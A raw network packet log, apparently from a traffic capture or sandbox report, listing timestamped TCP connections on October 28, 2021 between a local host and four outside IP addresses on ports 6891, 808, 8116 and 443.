Oct 28, 2021 05:05:11.050192118 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.207150936 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.207294941 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.212917089 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.216953993 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.217083931 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.222755909 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.373543024 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.373575926 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.375627995 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.376220942 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.380810022 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.380922079 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.389066935 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.389096022 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.389251947 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.389947891 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.394525051 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.394784927 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.536535025 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.545418978 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.545458078 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.545475006 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.560830116 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.561045885 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.931364059 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.931380987 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:11.931444883 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.931479931 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.934556007 CEST	49952	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:11.957988977 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.958012104 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:11.958168983 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.958194971 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:11.964247942 CEST	49951	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.058235884 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.094940901 CEST	808	49952	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:12.130492926 CEST	6891	49951	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:12.223560095 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:12.227406025 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.684333086 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.692131996 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.740964890 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:12.741061926 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.742849112 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.791448116 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:12.791758060 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:12.791876078 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.792479992 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.796756029 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.796868086 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:12.845500946 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:12.845989943 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:12.849673986 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:12.849791050 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:12.849864006 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.854311943 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.858319998 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:12.858455896 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:13.023619890 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:13.023644924 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:13.023653030 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:13.023669004 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:13.046432972 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:13.046463966 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:13.046545029 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:13.046578884 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:13.055398941 CEST	49958	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:13.103871107 CEST	8116	49958	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:13.219096899 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:13.219144106 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:13.219213963 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:13.220665932 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:13.220690966 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:13.401552916 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:13.401607037 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:13.401812077 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:13.401839972 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:13.738208055 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:13.739900112 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:14.419270039 CEST	49957	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:14.421940088 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:14.421974897 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:14.428814888 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:14.428841114 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:14.454353094 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:14.454399109 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:14.584574938 CEST	6891	49957	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:14.597034931 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.644263983 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.644412041 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.648385048 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.695621967 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.695997953 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.696095943 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.696769953 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.700701952 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.700839996 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.747942924 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.748174906 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.933507919 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.933532953 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:14.933754921 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.937191963 CEST	49962	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:14.984281063 CEST	8116	49962	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:15.059225082 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.059263945 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.059401989 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.060542107 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.060561895 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.135971069 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.136043072 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.136135101 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.136159897 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.143743038 CEST	49960	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.143785954 CEST	443	49960	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.288794041 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.446423054 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.448074102 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.448137045 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.555068016 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.555332899 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.556238890 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.556253910 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.562203884 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.562222958 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.562314987 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:15.562323093 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:15.605621099 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.605833054 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.606079102 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.606833935 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.612838030 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.612934113 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:15.765712976 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.770200968 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.770226002 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.770236015 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:15.770247936 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.150648117 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.150671959 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.150803089 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.150851011 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.156883955 CEST	49966	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.251909971 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:16.252008915 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:16.252026081 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:16.252088070 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:16.255450010 CEST	49965	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:16.255486012 CEST	443	49965	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:16.272571087 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.314254045 CEST	808	49966	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.386728048 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.437977076 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:16.438102961 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.438807011 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.546504021 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.546706915 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.547394037 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.604358912 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:16.604398012 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:16.604501009 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.605035067 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.608691931 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.608813047 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:16.707160950 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.707201004 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.707287073 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.707824945 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.711599112 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.711738110 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:16.773977041 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:16.773998976 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:16.810643911 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:16.868083954 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.872601032 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.872617006 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.872623920 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:16.872631073 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:17.158771038 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.158839941 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.158915997 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.159070015 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.166704893 CEST	49967	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.262126923 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:17.262145996 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:17.262212992 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:17.262273073 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:17.265228033 CEST	49968	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:17.289603949 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.332833052 CEST	6891	49967	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.344146013 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.344268084 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.345036030 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.382082939 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.399522066 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.399645090 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.399732113 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.400593042 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.404968023 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.405077934 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.425930023 CEST	808	49968	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:17.460098982 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.547456026 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.548171997 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.549032927 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.628655910 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.628674984 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.628779888 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.628823042 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.636095047 CEST	49969	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:17.690640926 CEST	8116	49969	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:17.714735985 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.714772940 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.714885950 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.715486050 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.719909906 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.720031977 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:17.757065058 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:17.757098913 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:17.757194996 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:17.768580914 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:17.768605947 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:17.885189056 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.885211945 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:17.885220051 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:18.278685093 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:18.278711081 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:18.278794050 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:18.278836012 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:18.281902075 CEST	49970	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:18.288326979 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:18.288450003 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.291445017 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.291457891 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:18.296531916 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.296546936 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:18.296868086 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.296884060 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:18.412214041 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.447772026 CEST	6891	49970	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:18.459712029 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.461595058 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.462405920 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.509711027 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.509911060 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.510041952 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.510608912 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.513577938 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.513708115 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.560971975 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.561737061 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.732290030 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.732316017 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.732534885 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.732656956 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.738854885 CEST	49972	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:05:18.786356926 CEST	8116	49972	185.56.219.47	192.168.2.3
Oct 28, 2021 05:05:18.879862070 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.879900932 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:18.880131960 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.883407116 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:18.883450985 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.002190113 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.002296925 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.002372980 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.002439022 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.009795904 CEST	49971	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.009833097 CEST	443	49971	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.137281895 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.307615995 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.308073044 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.310014963 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.379647017 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.379901886 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.380460978 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.380476952 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.386326075 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.386370897 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.386504889 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:19.386518002 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:19.480149984 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.480191946 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.480442047 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.480870008 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.485552073 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.485599041 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:19.650930882 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.655670881 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.655704021 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.655719042 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:19.655733109 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.049047947 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.049083948 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.049308062 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.049396038 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.058794975 CEST	49974	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.080244064 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:20.080327988 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:20.080352068 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:20.080377102 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:20.083930969 CEST	49973	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:05:20.083971977 CEST	443	49973	192.46.210.220	192.168.2.3
Oct 28, 2021 05:05:20.165318966 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.210153103 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.228965998 CEST	808	49974	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.331769943 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:20.332041025 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.333244085 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.370877028 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.371133089 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.372123003 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.499471903 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:20.499747992 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:20.499906063 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.500884056 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.507524014 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.507608891 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.507622004 CEST	49975	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:05:20.532695055 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.532939911 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.533629894 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.533654928 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.540359974 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.540385962 CEST	49976	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:05:20.674002886 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:20.674025059 CEST	6891	49975	45.77.0.96	192.168.2.3
Oct 28, 2021 05:05:20.694678068 CEST	808	49976	143.244.140.214	192.168.2.3
Oct 28, 2021 05:05:20.701152086 CEST	808	49976	143.244.140.214	192.168.2.3
